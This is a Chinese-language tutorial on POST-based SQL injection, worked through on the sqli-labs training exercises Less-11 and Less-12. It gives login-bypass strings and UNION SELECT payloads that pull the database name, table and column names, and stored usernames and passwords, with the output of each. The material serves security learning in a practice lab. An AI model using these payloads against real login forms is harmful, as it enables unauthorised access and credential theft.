零、前言
盲注告一段落,后面主要介绍的是POST注入,我们先说一下POST数据的提交方式,然后再说一下注入的方法。但实际上POST与GET注入的本质并无区别,毕竟注入是对数据库的攻击,与前端用什么方式提交语句无关。
一、POST表单提交
之前我们所接触的表单提交方式都是Get,它都是显示的传参,其参数会在URL上显示。适合根据关键字的查询的操作。POST传参是一种隐式的传参,它的参数放在请求头中,可传输大量的数据,并且这种方式更为安全。这种用户名和密码的登陆框是最常见的一种post提交表单。
我们查看一下源码
method="post"正式post表单提交的标志。我们抓下包
可以看到post数据被放到请求的信息头中。
二、Less-11注入测试
1、判断后台SQL语句
随意输入 Username=123 Password=123
登录失败,我们尝试使用系统存在的用户名和密码登陆,例如Dumb,Dumb
看来只有用户名密码都对了才能登陆成功(废话)。接下来我们要进行测试了,我们的测试语句不能再写在URL上了,因为是Post传参,所以直接写到登陆框里,例如常规的单引号测试
成功报错,小小的登陆框不方便编辑,我们打开hackbar,同样支持post数据编辑。
接下来我们猜测下它后台Sql语句
Select username,password from table where username=’inputname’and password=’inputpass’
2、构造Sql语句进行注入攻击
可以用如下语句进行登陆绕过:
uname=123' or 1=1 -- &passwd=123&submit=submit
uname=123' union select database(),version()# &passwd=123&submit=submit
Your Login name:security
Your Password:5.5.40
uname=123' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# &passwd=123&submit=submit
Your Login name:1
Your Password:emails,referers,uagents,users
uname=123' union select 1,group_concat(column_name) from information_schema.columns where table_name='user'# &passwd=123&submit=submit
Your Login name:1
Your Password:id,username,password
uname=123' union select username,password from users limit 0,1# &passwd=123&submit=submit
Your Login name:Dumb
Your Password:Dumb
三、Less-12注入测试
Less12去Less11课程几乎相似,只是后台sql语句有了新的变化(如同我们之前学习Get注入一样)。通过在username的位置报错可以显示
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"123"") and password=("") LIMIT 0,1' at line 1
猜测其后台Sql语句为
Select username,password from table where username=(“username”) and password=(“password”)
然后就可以构造注入语句了
登陆绕过:
uname=123") or 1=1 #&passwd=&submit=submit
Sql注入:
uname=123") union select version(),database() #&passwd=&submit=submit
Your Login name:5.5.40
Your Password:security
其过程与上节课类似,不再累赘!